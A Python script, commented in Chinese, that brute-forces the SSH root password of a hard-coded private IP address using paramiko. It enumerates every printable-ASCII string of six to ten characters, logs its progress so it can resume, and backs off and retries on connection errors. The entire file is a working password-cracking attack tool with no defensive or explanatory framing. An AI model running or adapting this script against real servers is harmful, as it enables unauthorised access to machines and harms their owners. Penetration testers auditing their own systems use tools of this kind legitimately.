# This Python file uses the following encoding: utf-8

from time import sleep
import paramiko,socket
from datetime import datetime

host = '192.168.1.177'
port = 22
usr = 'root'

_ssh = None

minChar = 33
maxChar = 126

minLen = 6
maxLen = 10

logfile = "crack.log"

count = 0

# 生成指定长度之前的口令
def genPasswd(passwd,file):
    pc = ''.join(passwd)
    try:
        print(u'%s %d 测试口令 >->=>> %s'%(datetime.now(),count,pc))
        _ssh = paramiko.SSHClient()
        _ssh.load_system_host_keys()
        _ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        _ssh.connect(hostname=host,port=port,username=usr,password=pc,look_for_keys=False)
        _ssh.close()
        print(u'成功！%s'%pc)
        exit(1)
    except paramiko.ssh_exception.AuthenticationException as ae:
        if _ssh and _ssh.get_transport():  
            _ssh.close()

    file.write(pc)
    #file.write('\n')
    file.flush()

def nextPasswd(passwd,pos=0):
    global count
    count += 1
    l = len(passwd)
    if pos>=l:
        if l==maxLen:
            print(u'达到密码最大长度%s'%l)
            exit(0)
        passwd.append('!')
    else:
        c = ord(passwd[pos])
        c = c + 1
        if c>maxChar:
            passwd[pos] = '!'
            nextPasswd(passwd,pos+1)
        else:
            passwd[pos] = chr(c)

passwd = None
try:
    with open(logfile,'r',encoding='utf-8') as file:
        p1 = file.readline()
        while p1 and len(p1)>=minLen:
            if passwd and len(passwd)>len(p1):
                p1 = None
            else:
                passwd = p1
                p1 = file.readline()
        file.close()

except Exception:
    pass

if passwd:
    print('上次破译口令:%s'%passwd)
    if( len(passwd)<minLen ):
        print("长度不够，丢弃")
        passwd = None
    else:
        passwd = list(passwd)

if passwd==None:
    passwd = []

    for idx in range(minLen):
        passwd.append(chr(minChar))

with open(logfile,'w',encoding='utf-8') as file:
    while True:
        delay = 1
        while True:
            try:
                genPasswd(passwd,file)
                nextPasswd(passwd)
                delay = 1
                break
            except paramiko.ssh_exception.SSHException as se:
                print('SSHException')
            except socket.error as e:
                print('socket error:')
            except Exception as ec:
                print('other exception:%s'%ec )

            if _ssh and _ssh.get_transport():  
                _ssh.close()
            
            print("delay %d"%delay)
            sleep(delay*30)
            delay += 1 

